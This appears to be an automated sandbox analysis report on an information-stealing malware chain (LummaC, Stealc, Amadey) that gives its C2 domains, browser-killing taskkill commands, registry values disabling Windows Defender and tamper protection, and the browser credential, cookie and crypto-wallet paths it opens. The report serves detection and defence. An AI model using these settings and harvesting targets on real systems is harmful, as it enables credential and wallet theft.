Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ZVNI3QDRJUMHB5ZEQG5Z2C.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Code function: 3_2_00CAD585 rdtsc

3_2_00CAD585

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Code function: 3_2_00B1B974 LdrInitializeThunk,

3_2_00B1B974

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\W7N881PI98FKFOKWDI7HCS7W.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7451ae0b11.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2143331611.0000000005100000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe "C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe "C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe "C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 760934cb92.exe, 0000000D.00000000.3024294213.0000000000932000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, skotes.exe	Binary or memory string: #3Program Manager
Source: 7YW0363WEKP7ULOI0QRA.exe, 7YW0363WEKP7ULOI0QRA.exe, 00000003.00000002.2507726360.0000000000D08000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: "fProgram Manager
Source: firefox.exe, 0000001A.00000002.3217054997.00000045F48BB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe, 00000004.00000002.2427168809.0000000000FF9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2465538734.0000000000C89000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: #3Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002537001\760934cb92.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002538001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002538001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 58ce8f976c.exe, 0000000C.00000003.3201552486.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: file.exe, file.exe, 00000000.00000003.2231556673.0000000001547000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2356276215.0000000001537000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269022223.0000000001538000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231556673.000000000155A000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2971263867.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3165170457.0000000005941000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2965626159.0000000005941000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3093935031.0000000005942000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3179090240.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.DP4Z2JGIRNCYT3CKHONMY.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2386839542.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3207148284.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2465363519.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3249445453.00000000009F1000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2425000445.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2427095696.0000000000E11000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2711130539.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 760934cb92.exe PID: 7144, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 6068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 504, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7451ae0b11.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7451ae0b11.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3135249068.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2960373733.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3127862196.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3268929874.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3144922950.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3001129617.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3116653245.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3280933460.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3004186690.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3274363852.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7451ae0b11.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002538001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2173815846.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: file.exe, 00000000.00000003.2218538984.000000000155D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.2218579742.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
